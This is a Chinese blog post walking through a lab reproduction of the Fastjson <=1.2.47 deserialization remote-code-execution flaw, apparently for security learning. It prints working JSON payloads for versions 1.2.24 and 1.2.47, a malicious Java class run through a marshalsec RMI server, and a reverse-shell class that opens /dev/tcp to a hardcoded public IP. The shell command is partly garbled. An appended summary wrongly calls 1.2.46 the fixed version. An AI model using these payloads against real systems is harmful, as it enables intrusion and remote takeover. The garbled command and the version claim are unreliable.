fastjson jar包_Fastjson<=1.2.47反序列化漏洞复现

7d66c41bc15fa0a05799650bdaba8d4f.gif

实验环境

攻击机C:Windows 10 企业版 LTSC

靶机A:CentOS8 (公网)

监听主机B:Centos7(公网)

项目地址:

https://github.com/vulhub/vulhub

该篇复现环境是fastjson1.2.47,复现手法同时适用于fastjson1.2.24,payload已在下文提供

c2dcac56439c28f6551790b246c54550.png

基础环境搭建

    在靶机A上安装docker

curl https://download.docker.com/linux/centos/docker-ce.repo -o /etc/yum.repos.d/docker-ce.repoyum install https://download.docker.com/linux/fedora/30/x86_64/stable/Packages/containerd.io-1.2.6-3.3.fc30.x86_64.rpmyum install docker-cesystemctl start docker

    更换镜像源

vi /etc/docker/daemon.json

    修改文件内容,镜像源地址可以用阿里云的镜像地址,百度的镜像源会有一个包下载很慢。自己登陆阿里云获取

{        "registry-mirrors": ["https://xxxxx.mirrors.aliyun.com"]}

340db2e216772e5f55883c21b1a16d65.png

保存退出之后,重新加载配置,重启docker

systemctl daemon-reloadsystemctl restart docker

摘取镜像

docker pull busybox

成功打印出"hello world"说明配置成功

docker run busybox echo “hello world”

到此docker配置完成

接下来部署实验环境

c2dcac56439c28f6551790b246c54550.png

实验环境搭建

项目地址

https://github.com/vulhub/vulhub

下载后上传至靶机A任意目录,进入目录

vulhub-master/fastjson/1.2.47-rce

启动docker编译

docker-compose up -d
3a3a1a81169f3eedcdd324fac3b789f2.png

PS

很多人pip装不上,这里的方法亲测有效;

yum install -y python38wget https://bootstrap.pypa.io/get-pip.pysudo  python3 get-pip.pypip -versionpip install docker-compose

litbaiZhang

5100e2d0cdb3328f6805fd1cc52d3390.png

275bf96e1e2698d60a6b8f796f762552.png

在监听主机B上安装Tomcat,远程加载恶意类。

拉取docker镜像

docker pull rightctrl/tomcat

映射到服务器8080端口

docker run -d --name tomcat -p 8080:8080 rightctrl/tomcat
访问http://ip:8080

e12c3138531dddecd88e7249d7e3541f.png

把编译好的恶意类拷贝进docker环境,具体路径进入docker查找
docker cp TouchFile.class  tomcat:/opt/tomcat/webapps/
TouchFie.class的java源码如下:
import java.lang.Runtime;import java.lang.Process;public class TouchFile {    static {        try {            Runtime rt = Runtime.getRuntime();            String[] commands = {"touch", "/tmp/success"};            Process pc = rt.exec(commands);            pc.waitFor();        } catch (Exception e) {            // do nothing        }    }}
上传成功后确认可以访问TouchFile.class

53a981f6da67cfaf9942e3c35f8d520e.png

继续在监听主机B上使用marshalsec快速开启rmi或ldap服务
marshalsec项目地址
https://github.com/mbechler/marshalsec
使用maven编译jar包
mvn clean package -DskipTests
进入target目录,并开启rmi或者ladp服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://恶意类的IP:8080/#TouchFile 8088

ccbcde7942a826d60fd84eca82ca24da.png

c2dcac56439c28f6551790b246c54550.png

复现步骤

攻击机C上直接访问搭好的漏洞环境

75557178594911aee7f1105b1aa3e528.png

payload

//1.2.24以下版本{    "a":{        "@type":"com.sun.rowset.JdbcRowSetImpl",        "dataSourceName":"rmi://ip:8088/TouchFile",        "autoCommit":true    }}//1.2.47以下版本{"a":{        "@type":"java.lang.Class",        "val":"com.sun.rowset.JdbcRowSetImpl"    },    "b":{        "@type":"com.sun.rowset.JdbcRowSetImpl",        "dataSourceName":"rmi://ip:8088/TouchFile",        "autoCommit":true    }}

 发送请求后,rmi服务器收到响应,远程加载恶意类TouchFile.class

ea5f4a0ce638e7668ffba1b66654fd6c.png

可以看到已经成功执行touch /tmp/success

dd8d830fcbce99a6fcb16ea056fafb98.png

同理可反弹shell

反弹shell文件(除了远程加载的恶意类不同,其他操作均相同)

import java.io.BufferedReader;import java.io.InputStream;import java.io.InputStreamReader;public class Exploit{    public Exploit() throws Exception {        Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/175.24.81.132/9999;cat &5 >&5; done"});        InputStream is = p.getInputStream();        BufferedReader reader = new BufferedReader(new InputStreamReader(is));        String line;        while((line = reader.readLine()) != null) {            System.out.println(line);        }        p.waitFor();        is.close();        reader.close();        p.destroy();    }    public static void main(String[] args) throws Exception {    }}

在监听主机B上同时用NC监听端口

3dd8d4844fcc15c20d889ca30e9783b7.png

成功拿shell

c2dcac56439c28f6551790b246c54550.png

9b1f45970b6dcd528c6867f39b52d5a6.gif 80b8ea8b9235325d52b144e7dae7669e.png

Hi  这里是白泽Sec~

旨在做最纯净的技术公众号

做最敬业的安全技术团队!

欢迎关注我哦~

既然在看了,就点一下吧!!

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Fastjson是一款Java语言编写的高性能JSON处理器,被广泛应用于各种Java应用程序中。然而,Fastjson存在反序列化漏洞,黑客可以利用该漏洞实现远程代码执行,因此该漏洞被广泛利用。 检测Fastjson反序列化漏洞的方法: 1. 扫描源代码,搜索是否存在Fastjson相关的反序列化代码,如果存在,则需要仔细检查反序列化的过程是否安全。 2. 使用工具进行扫描:目前市面上有很多漏洞扫描工具已经支持Fastjson反序列化漏洞的检测,例如:AWVS、Nessus、Burp Suite等。 利用Fastjson反序列化漏洞的方法: 1. 利用Fastjson反序列化漏洞执行远程命令:黑客可以构造一个恶意JSON字符串,通过Fastjson反序列化漏洞实现远程命令执行。 2. 利用Fastjson反序列化漏洞实现文件读取:黑客可以构造一个恶意JSON字符串,通过Fastjson反序列化漏洞实现文件读取操作。 3. 利用Fastjson反序列化漏洞实现反弹Shell:黑客可以构造一个恶意JSON字符串,通过Fastjson反序列化漏洞实现反弹Shell操作。 防范Fastjson反序列化漏洞的方法: 1. 更新Fastjson版本:Fastjson官方在1.2.46版本中修复了反序列化漏洞,建议使用该版本或更高版本。 2. 禁止使用Fastjson反序列化:如果应用程序中不需要使用Fastjson反序列化功能,建议禁止使用该功能,可以使用其他JSON处理器。 3. 输入验证:对所有输入进行校验和过滤,确保输入数据符合预期,避免恶意数据进入系统。 4. 序列化过滤:对敏感数据进行序列化过滤,确保敏感数据不会被序列化。 5. 安全加固:对系统进行安全加固,如限制系统权限、加强访问控制等,避免黑客利用Fastjson反序列化漏洞获取系统权限。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值